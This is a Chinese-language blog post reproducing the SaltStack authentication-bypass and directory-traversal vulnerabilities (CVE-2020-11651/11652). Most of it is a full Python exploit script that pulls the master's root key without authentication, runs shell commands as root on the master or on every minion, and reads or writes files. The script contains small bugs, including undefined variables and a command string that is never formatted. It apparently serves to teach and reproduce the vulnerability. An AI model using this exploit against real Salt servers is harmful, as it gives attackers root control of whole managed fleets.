SaltStack 远程命令执行漏洞复现(CVE-2020-11651)


SaltStack 远程命令执行漏洞复现(CVE-2020-11651)

SaltStack 简介

SaltStack 是基于 Python 开发的一套 C/S 架构配置管理工具,是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,基于 Python 语言实现,结合轻量级消息队列(ZeroMQ)与 Python 第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack 和 PyYAML 等)构建。

Salt 用于监视和更新服务器状态。每个服务器运行一个称为 minion 的代理程序,该代理程序连接到 master 主机,即 salt 安装程序,该安装程序从 Minions 收集状态报告并发布 Minions 可以对其执行操作的更新消息。通常,此类消息是对所选服务器配置的更新,但是它们也可以用于在多个(甚至所有)受管系统上并行并行运行同一命令。

salt 中的默认通信协议为 ZeroMQ。主服务器公开两个 ZeroMQ 实例,一个称为请求服务器,其中 minion 可以连接到其中报告其状态(或命令输出),另一个称为发布服务器,其中主服务器可以连接和订阅这些消息。

漏洞详情

影响版本

SaltStack < 2019.2.4 SaltStack < 3000.2

漏洞细节

身份验证绕过漏洞(CVE-2020-11651)

ClearFuncs 类在处理授权时,并未限制 _send_pub() 方法,该方法直接可以在发布队列消息,发布的消息会通过 root 身份权限进行执行命令。ClearFuncs 还公开了 _prep_auth_info() 方法,通过该方法可以获取到 root key,通过获取到的 root key 可以在主服务上远程调用命令。

目录遍历漏洞(CVE-2020-11652)

whell 模块中包含用于在特定目录下读取、写入文件命令。函数中输入的信息与目录进行拼接可以绕过目录限制。

在salt.tokens.localfs 类中的 get_token() 方法(由 ClearFuncs 类可以通过未授权进行调用)无法删除输入的参数,并且作为文件名称使用,在路径中通过拼接 .. 进行读取目标目录之外的文件。唯一的限制是文件必须通过 salt.payload.Serial.loads() 进行反序列化。

漏洞复现

nmap 探测端口

nmap -sV -p 4504,4506 IP

exp

#!/usr/bin/env python3

import argparse
import datetime
import os
import pip
import sys
import warnings

def install(package):
    if hasattr(pip, "main"):
        pip.main(["install", package])
    else:
        pip._internal.main(["install", package])

try:
    import salt
    import salt.version
    import salt.transport.client
    import salt.exceptions
except:
    install("distro")
    install("salt")

def ping(channel): 
    message = {
        "cmd":"ping"
    }
    try:
        response = channel.send(message, timeout=5)
        if response:
            return True 
    except salt.exceptions.SaltReqTimeoutError:
        pass

    return False

def get_rootkey(channel):
    message = {
        "cmd":"_prep_auth_info"
    }
    try:
        response = channel.send(message, timeout=5)
        for i in response:
            if isinstance(i,dict) and len(i) == 1:
                rootkey = list(i.values())[0]
                return rootkey      
    except:
        pass

    return False

def minion(channel, command):
    message = {
        "cmd": "_send_pub",
        "fun": "cmd.run",
        "arg": ["/bin/sh -c \"{command}\""],
        "tgt": "*",
        "ret": "",
        "tgt_type": "glob",
        "user": "root",
        "jid": "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow()),
        "_stamp": "{0:%Y-%m-%dT%H:%M:%S.%f}".format(datetime.datetime.utcnow())
    }

    try:
        response = channel.send(message, timeout=5)
        if response == None:
            return True
    except:
        pass

    return False

def master(channel, key, command):
    message = { 
        "key": key,
        "cmd": "runner",
        "fun": "salt.cmd",
        "kwarg":{
            "fun": "cmd.exec_code",
            "lang": "python3",
            "code": f"import subprocess;subprocess.call(\"{command}\",shell=True)"
        },
        "user": "root",
        "jid": "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow()),
        "_stamp": "{0:%Y-%m-%dT%H:%M:%S.%f}".format(datetime.datetime.utcnow())
    }

    try:
        response = channel.send(message, timeout=5)
        log("[ ] Response: " + str(response))
    except:
        return False

def download(channel, key, src, dest):
    message = {
        "key": key,
        "cmd": "wheel",
        "fun": "file_roots.read",
        "path": path,
        "saltenv": "base",
    }

    try:
        response = channel.send(message, timeout=5)
        data = response["data"]["return"][0][path]

        with open(dest, "wb") as o:
            o.write(data)
        return True
    except:
        return False

def upload(channel, key, src, dest):
    try:
        with open(src, "rb") as s:
            data = s.read()
    except Exception as e:
        print(f"[ ] Failed to read {src}: {e}")
        return False

    message = {
        "key": key,
        "cmd": "wheel",
        "fun": "file_roots.write",
        "saltenv": "base",
        "data": data,
        "path": dest,
    }

    try:
        response = channel.send(message, timeout=5)
        return True
    except:
        return False

def log(message):
    if not args.quiet:
        print(message)

if __name__=="__main__":
    warnings.filterwarnings("ignore")

    desc = "CVE-2020-11651 PoC" 

    parser = argparse.ArgumentParser(description=desc)

    parser.add_argument("--host", "-t", dest="master_host", metavar=('HOST'), required=True)
    parser.add_argument("--port", "-p", dest="master_port", metavar=('PORT'), default="4506", required=False)
    parser.add_argument("--execute", "-e", dest="command", default="/bin/sh", help="Command to execute. Defaul: /bin/sh", required=False)
    parser.add_argument("--upload", "-u", dest="upload", nargs=2, metavar=('src', 'dest'), help="Upload a file", required=False)
    parser.add_argument("--download", "-d", dest="download", nargs=2, metavar=('src', 'dest'), help="Download a file", required=False)
    parser.add_argument("--minions", dest="minions", default=False, action="store_true", help="Send command to all minions on master",required=False)
    parser.add_argument("--quiet", "-q", dest="quiet", default=False, action="store_true", help="Enable quiet/silent mode", required=False)
    parser.add_argument("--fetch-key-only", dest="fetchkeyonly", default=False, action="store_true", help="Only fetch the key", required=False)

    args = parser.parse_args()

    minion_config = {
        "transport": "zeromq",
        "pki_dir": "/tmp",
        "id": "root",
        "log_level": "debug",
        "master_ip": args.master_host,
        "master_port": args.master_port,
        "auth_timeout": 5,
        "auth_tries": 1,
        "master_uri": f"tcp://{args.master_host}:{args.master_port}"
    }

    clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt="clear")

    log(f"[+] Attempting to ping {args.master_host}")
    if not ping(clear_channel):
        log("[-] Failed to ping the master")
        log("[+] Exit")
        sys.exit(1)


    log("[+] Attempting to fetch the root key from the instance.")
    rootkey = get_rootkey(clear_channel)
    if not rootkey:
        log("[-] Failed to fetch the root key from the instance.")
        sys.exit(1)

    log("[+] Retrieved root key: " + rootkey)

    if args.fetchkeyonly:
        sys.exit(1)

    if args.upload:
        log(f"[+] Attemping to upload {src} to {dest}")
        if upload(clear_channel, rootkey,  args.upload[0], args.upload[1]):
            log("[+] Upload done!")
        else:
            log("[-] Failed")

    if args.download:
        log(f"[+] Attemping to download {src} to {dest}")
        if download(clear_channel, rootkey,  args.download[0], args.download[1]):
            log("[+] Download done!")
        else:
            log("[-] Failed")

    if args.minions:
        log("[+] Attempting to send command to all minions on master")
        if not minion(clear_channel, command):
            log("[-] Failed")
    else:
        log("[+] Attempting to send command to master")
        if not master(clear_channel, rootkey, command):
            log("[-] Failed")

漏洞利用

读取 root key 检测是否存在漏洞:

目录遍历

命令执行


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
Flask SSTI 利用方式探索 Flask SSTI 利用方式探索
Flask SSTI 利用方式探索SSTI 简介 & 环境搭建模板一个统一风格的站点,其大多数页面样式都是一致的,只是每个页面显示的内容各不相同。要是所有的逻辑都放在前端进行,无疑会影响响应效果和效率,很不现实。把所有的逻辑放在后端
2020-06-22
下一篇 
常见服务类漏洞 常见服务类漏洞
常见服务类漏洞FTP 漏洞FTP 协议介绍FTP(File Transfer Protocol,文件传输协议)是 TCP/IP 协议组中的协议之一。FTP 协议包括两个组成部分,其一为 FTP 服务器,其二为 FTP 客户端。其中 FTP
  目录